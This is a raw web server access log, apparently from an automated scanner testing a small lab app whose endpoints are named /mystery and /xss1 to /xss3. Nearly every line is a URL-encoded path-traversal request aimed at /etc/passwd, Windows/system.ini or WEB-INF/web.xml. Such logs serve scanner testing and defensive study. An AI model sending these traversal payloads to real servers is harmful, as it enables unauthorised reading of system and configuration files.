172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /Windows/system.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=Windows%2Fsystem.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /Windows/system.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=Windows%5Csystem.ini HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%2Fetc%2Fpasswd HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=Windows%2Fsystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /etc/passwd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=Windows%5Csystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /etc/passwd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%2Fetc%2Fpasswd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /etc/passwd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=etc%2Fpasswd HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=etc%2Fpasswd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /etc/passwd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=WEB-INF%2Fweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=WEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /WEB-INF/web.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=WEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=WEB-INF%5Cweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%2FWEB-INF%2Fweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /WEB-INF/web.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%5CWEB-INF%5Cweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /WEB-INF/web.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /WEB-INF/web.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /WEB-INF/web.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /WEB-INF/web.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=robots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%2Frobots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /thishouldnotexistandhopefullyitwillnot HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /robots.txt?query=%5Crobots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=mystery HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /None HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%2Fmystery HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /None HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /mystery?name=%5Cmystery HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=c%3A%2FWindows%2Fsystem.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=c%3A%5CWindows%5Csystem.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=Windows%2Fsystem.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=Windows%5Csystem.ini&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=Windows%2Fsystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=%2Fetc%2Fpasswd&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=Windows%5Csystem.ini HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=%2Fetc%2Fpasswd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=etc%2Fpasswd&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=WEB-INF%2Fweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=etc%2Fpasswd HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=WEB-INF%5Cweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=WEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=%2FWEB-INF%2Fweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=%5CWEB-INF%5Cweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=WEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=..%2FWEB-INF%2Fweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=..%5CWEB-INF%5Cweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=%2F..%2FWEB-INF%2Fweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=%5C..%5CWEB-INF%5Cweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /xss1?a=..%2F..%2FWEB-INF%2Fweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:09] "GET /sitemap.xml?query=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=..%5C..%5CWEB-INF%5Cweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=%2F..%2F..%2FWEB-INF%2Fweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=%5C..%5C..%5CWEB-INF%5Cweb.xml&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=thishouldnotexistandhopefullyitwillnot&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=c%3A%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=c%3A%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=sitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=Windows%2Fsystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=%2Fsitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=Windows%5Csystem.ini HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /sitemap.xml?query=%5Csitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=etc%2Fpasswd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=WEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=WEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%2F..%2F..%2FWEB-INF%2Fweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=%5C..%5C..%5CWEB-INF%5Cweb.xml HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss1?a=k&name=thishouldnotexistandhopefullyitwillnot HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=c%3A%2FWindows%2Fsystem.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=c%3A%5CWindows%5Csystem.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=c%3A%2FWindows%2Fsystem.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=c%3A%5CWindows%5Csystem.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=Windows%2Fsystem.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=Windows%5Csystem.ini&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%2Fetc%2Fpasswd&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Csystem.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=Windows%2Fsystem.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=Windows%5Csystem.ini&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=etc%2Fpasswd&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%2Fetc%2Fpasswd&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=WEB-INF%2Fweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=WEB-INF%5Cweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=etc%2Fpasswd&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%2FWEB-INF%2Fweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=WEB-INF%2Fweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=%5CWEB-INF%5Cweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=..%2FWEB-INF%2Fweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=WEB-INF%5Cweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%2FWEB-INF%2Fweb.xml&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss2?a=..%5CWEB-INF%5Cweb.xml&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:10] "GET /xss3?a=%5CWEB-INF%5Cweb.xml&name=Frigg HTTP/1.1" 200 -
